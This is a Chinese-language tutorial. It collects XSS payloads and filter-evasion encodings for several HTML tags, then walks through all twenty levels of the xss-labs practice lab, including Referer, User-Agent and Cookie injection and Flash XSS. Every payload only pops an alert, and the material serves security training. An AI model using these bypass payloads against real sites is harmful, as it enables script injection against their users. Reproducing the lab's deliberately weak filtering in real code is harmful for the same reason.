XSS中常见标签利用以及XSS-labs通关攻略

0x00常见的标签利用

<img> 标签

XSS利用 1

1
2
3
4
5
6
7
<img src=javascript:alert('xss')>   //版本,E7.0|IE6.0,才能执行 
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //版本,E7.0|IE6.0,才能执行
<img src="URL" style='Xss:expression(alert(/xss/));'> //版本,E7.0|IE6.0,才能执行
CSS标记XSS
<img STYLE="background-image:url(javascript:alert('XSS'))"> //版本,E7.0|IE6.0,才能执行
CSS样式表的标记进行XSS转码
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本,E7.0|IE6.0,才能执行

XSS利用2:

html编码:

1
2
3
4
5
6
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> //可以不加"和; 
原code:
<img src="x" onerror="alert(1)">
16进制编码ASCII: <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> //必须要有双引号,不然执行不了
原code:
<img src="1" onerror=eval("alert('xss')")></img> //可以去掉双引号

XSS利用3:

错误事件:

1
2
<img src=1 onerror=alert('xss')> 
鼠标在其上事件: <img src=1 onmouseover=alert('xss') type="text" >

<a> 标签

标准格式:

1
<a href="http://www.baidu.com">  baidu  </a>

XSS利用1:

编码后:

1
2
3
4
<a   href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>   //不能去掉双引号 
<a href=javascript:eval(" &#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41; ")>2</a> //可以去掉双引号
原code:
<a href=javascript:eval("alert('xss')")>2</a >

编码后:

1
2
3
4
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a> 
<a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>
原code:
<a href="javascript:alert('xss')">2</a>

XSS 利用2:

1
2
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64编码,在谷歌浏览器可以成功解析 :<img src=x onerror=alert(1)>  <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a> 
// PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= // <script>alert('xss')</script>

XSS利用3:

1
2
3
4
5
6
7
8
9
10
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaaaa</a>   //可以去掉双引号和; 
原code:
<a href="" onclick="alert(1)">aaaaa</a>
js以及html编码后: <a href=""onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a>
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a> //单引号和双引号都可以
<a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaaaa</a> //可以成功弹窗,如果在url地址栏输入的时候,要进行urlenode编码
原code:
eval("alert('xss')") <a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功执行
原code:
<a href="#" onclick=alert('xss')>test3</a>

XSS利用4:

1
<a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a>   //可以实现弹窗

<input> 标签

1
2
3
4
5
一般格式:
<INPUT name="name" value="">
事件弹窗: <input value="" onclick="alert(11)" type="text">
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">
script弹窗: <INPUT name="name" value=""><script>alert(123)</script>

小技巧:

当XSS遇到input hidden属性

1
2
3
4
5
6
7
8
1、使用expression突破
<input type=hidden style=`x:expression(alert(/xss/))`>
直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。
2​、使用accesskey突破
<input type="hidden" accesskey="X" onclick="alert(/xss/)">
插入之后, 火狐 使用ALT+SHIFT+X快捷键来触发XSS, Chrome使用ALT+X触发 。
类似这种span标签在网页无触发点,也可以这样子用。
<span id="span" recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>

<form> 标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格 
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form> <form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form> <form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>

<iframe> 标签

1
2
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe> //谷歌浏览器下实现弹窗 <iframe src=1 onmouseover=alert('xss') y=2016 /><iframe> <iframe src="javascript&colon;prompt&lpar;`xss`&rpar;;" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有点特别 <iframe src="vbscript:msgbox(123)"></iframe>

0x01 xss-labs 通关攻略

level-1

最简单的反射型xss,直接给name传参

1
payload: <script>alert(1)</script>

level-2

有一个搜索框,搜索框内的内容可以显示到页面上。直接搜索:

1
<script>alert(1)</script>

可以看到并没有执行,但是会出现在页面上。
此时F12查看网站源代码,可以看到定位在:

1
<input name="keyword" value="<script>alert(1)</script>">

这里需要闭合”以及<>。

1
payload:"><script>alert(1)</script><"

level-3

一开始还是想用和第二关一样的方法,闭合掉前面是value,但是发现死活闭合不了。
去看了php源码,所有的地方都被htmlspecialchars函数过滤了,该函数可以过滤”<””>””” “,但是不会过滤单引号,而且value的闭合也是采用单引号,所以会有xss漏洞:

1
2
3
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> 
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>

所以考虑使用事件,并且闭合掉前面的’。

1
payload:' onclick='alert(1)。

level-4

首先常规的输入

1
<script>alert(1)</script>

发现把<>接过滤掉了,尝试双写,依然被过滤掉。
只能使用事件进行注入,value的闭合使用的是单引号。

1
payload:" onclick="alert(1)

level-5

先常规的输入

1
<script>alert(1)</script>

发现变成了

1
<scr_ipt>alert(1)</script>

尝试大写绕过,无果。
那么使用事件吧,输入:onclick =alert(1),发现也变成了:o_nclick =alert(1)。
那么事件和script都用不了了。
使用跳转并没有被过滤。

1
payload:"><a href="javascript:alert(1)"

level-6

和上题差不多,只不过把href也一起加了_。
不过没有过滤大小写,按前面几关的改大写的payload即可。

level-7

这次是直接全部过滤掉了。大写后全部替换为小写。不过测试后发现只去掉一次,可以使用之前的双写payload。

level-8

首先输入:

1
<script>alert(1)</script>

找插入点,发现直接插在了一个href里面,那么直接输入

1
javascript:alert(1)

但是发现被过滤了,变成了

1
<a href="javascr_ipt:alert(1)">友情链接</a>
看一下源码,发现很多都被过滤了:
1
2
3
4
5
6
7
$str = strtolower($_GET["keyword"]); 
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

解决办法是使用html实体编码 :

1
payload:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

level-9

这里发现怎么输入链接都是非法的,审计php源码可以看到:

1
if(false===strpos($str7,'http://'))

其他的过滤都和上一关一样,所以提交的字符串必须要有http://。

1
payload:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://www.baidu.com')

level-10

经过测试,这里的keyword不再回显到页面上,阅读源码:

1
2
3
4
5
6
7
8
$str11 = $_GET["t_sort"]; 
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

t_sort才是可以xss的注入点。这一关也会过滤”<”,可以用事件绕过:” onmouseover=”alert(1)”
因为input是隐藏的,所以不会触发事件,需要通过其它方法触发,采用html的accesskey属性,不同的浏览器有不同的触发方式:
(1)火狐是shift+ctrl+x(定义的)
(2)Chrome alt+x
加一个type=”text”来覆盖后面的hidden.

1
payload:t_sort=2" accesskey="x" onclick="alert(1)" type="text"

level-11

测试之后发现只有t_sort是真实接收数据的,回显在input表单内,type为hidden。还进行了html编码,无法闭合”。
看一下源码,发现接受处理的其实是referer参数,然后回显在t_ref上。

1
payload:Referer: " type="text" onclick="alert(1)

level-12

看到一个t_ua字段,看来是抓包修改user-agent字段。

1
payload:" type="text" onclick="alert(1)

level-13

有t_cook字段,抓包修改cookie字段。

1
payload:Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1);

level-14

这题的外链挂了,看了网上的payload好像是上传一个可以xss的图片。exif xss。

level-15

打开题目发现有提示,nginclude,原来使用了angular.min.js。符合sop策略。
AngularJS:ng-include 指令用于包含外部的 HTML 文件。,包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
需要单引号包裹,否则变成注释。

1
payload:?src='level1.php?name=test<img src=1 onerror=alert(1)>'

level-16

过滤空格,script,/,可以使用%0d或者%0a做分割符进行绕过。

1
payload:?keyword=<img%0Dsrc=1%0Donerror=alert(1)>

level-17

输入点在url里面,输出点在embed标签内。
直接在embed标签插入onmouseover事件:

1
payload:?arg01=a&arg02=b onmouseover=alert(1)

level-18

做法同上。

level-19

这题测试之后发现根本找不到回显点,查了网上的写法,属于flash-xss。
下载jpex对swf文件进行逆向。首先定位到getURL函数:

1
2
3
4
5
                getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget); 
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));

然后定位到sIFR.VERSION:

1
2
3
4
if(_loc5_ && _root.version != sIFR.VERSION) 
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数:

1
2
3
4
        function contentIsLink() 
{
return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
}

所以我们可以构造 标签来传值:

1
payload:?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

点击123即可成功。

level-20

还是flash-xss。逆向出来的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package 
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;

public class ZeroClipboard extends Sprite
{


private var button:Sprite;

private var id:String = "";

private var clipText:String = "";

public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}

public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}

private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}

public function setText(param1:*) : *
{
clipText = param1;
}
}
}

上一关是getlURL,而这一关是ExternalInterface.call。首先通过LoaderInfo从URL中取值:
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
接下来构造payload就可以了

1
payload:arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123
0%